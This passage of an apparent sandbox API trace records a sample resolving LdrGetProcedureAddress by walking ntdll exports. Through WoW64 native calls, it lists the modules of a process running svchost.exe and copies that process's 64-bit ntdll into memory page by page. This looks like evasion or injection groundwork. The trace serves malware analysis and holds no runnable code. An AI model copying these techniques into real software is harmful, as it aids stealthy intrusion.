[0139.590] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrGetProcedureAddress") returned -1 [0139.591] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrGetProcedureAddress") returned -1 [0139.592] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetDllPath", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrGetProcedureAddress") returned -1 [0139.593] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrGetProcedureAddress") returned 0 [0139.593] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.707] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0139.707] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0139.707] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18ea2c, ProcessInformationLength=0x30, ReturnLength=0x18ea84 | out: ProcessInformation64=0x18ea2c, ReturnLength=0x18ea84) returned 0x0 [0139.707] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0139.707] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0139.709] LocalFree (hMem=0x7392a0) returned 0x0 [0139.709] LocalFree (hMem=0x72e060) returned 0x0 [0139.709] VirtualAlloc (lpAddress=0x0, dwSize=0x7e4, flAllocationType=0x3000, flProtect=0x4) returned 0x8d0000 [0139.710] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0139.710] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0139.710] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18ea2c, ProcessInformationLength=0x30, ReturnLength=0x18ea84 | out: ProcessInformation64=0x18ea2c, ReturnLength=0x18ea84) returned 0x0 [0139.710] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0139.710] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0139.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x1cb0f000, Buffer=0x2d, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x2d, NumberOfBytesRead=0x28) returned 0x0 [0139.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0139.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6034d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603138, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3e | out: Buffer=0x203, NumberOfBytesRead=0x3e) returned 0x0 [0139.711] StrRChrA (lpStart="C:\\Windows\\system32\\svchost.exe", lpEnd=0x0, wMatch=0x5c) returned="\\svchost.exe" [0139.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603340, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603230, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x203, NumberOfBytesRead=0x3a) returned 0x0 [0139.711] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0139.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603980, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603b10, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x203, NumberOfBytesRead=0x40) returned 0x0 [0139.711] StrRChrA (lpStart="C:\\Windows\\system32\\KERNEL32.DLL", lpEnd=0x0, wMatch=0x5c) returned="\\KERNEL32.DLL" [0139.711] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603e80, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c604010, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x44 | out: Buffer=0x203, NumberOfBytesRead=0x44) returned 0x0 [0139.712] StrRChrA (lpStart="C:\\Windows\\system32\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0139.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6052e0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.712] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603910, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3e | out: Buffer=0x203, NumberOfBytesRead=0x3e) returned 0x0 [0139.712] StrRChrA (lpStart="C:\\Windows\\system32\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0139.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6054d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c605660, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3c | out: Buffer=0x203, NumberOfBytesRead=0x3c) returned 0x0 [0139.718] StrRChrA (lpStart="C:\\Windows\\system32\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0139.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6058f0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.718] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c605a80, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x203, NumberOfBytesRead=0x40) returned 0x0 [0139.718] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ucrtbase.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ucrtbase.dll" [0139.719] LocalFree (hMem=0x7392a0) returned 0x0 [0139.720] LocalFree (hMem=0x72e060) returned 0x0 [0139.720] lstrcmpiA (lpString1="svchost.exe", lpString2="NTDLL.DLL") returned 1 [0139.720] StrChrA (lpStart="svchost.exe", wMatch=0x2e) returned=".exe" [0139.720] lstrcmpiA (lpString1="svchost", lpString2="NTDLL.DLL") returned 1 [0139.720] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0139.720] VirtualFree (lpAddress=0x8d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.720] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0139.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.721] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.722] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.723] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.724] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.730] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.730] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.730] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.730] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.731] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.731] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.731] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.731] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.732] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.732] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.732] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.732] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.733] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.733] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.733] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.733] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.734] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.734] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.734] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.735] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.735] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.735] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.735] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.736] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.736] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.736] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.736] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.737] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.737] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.737] 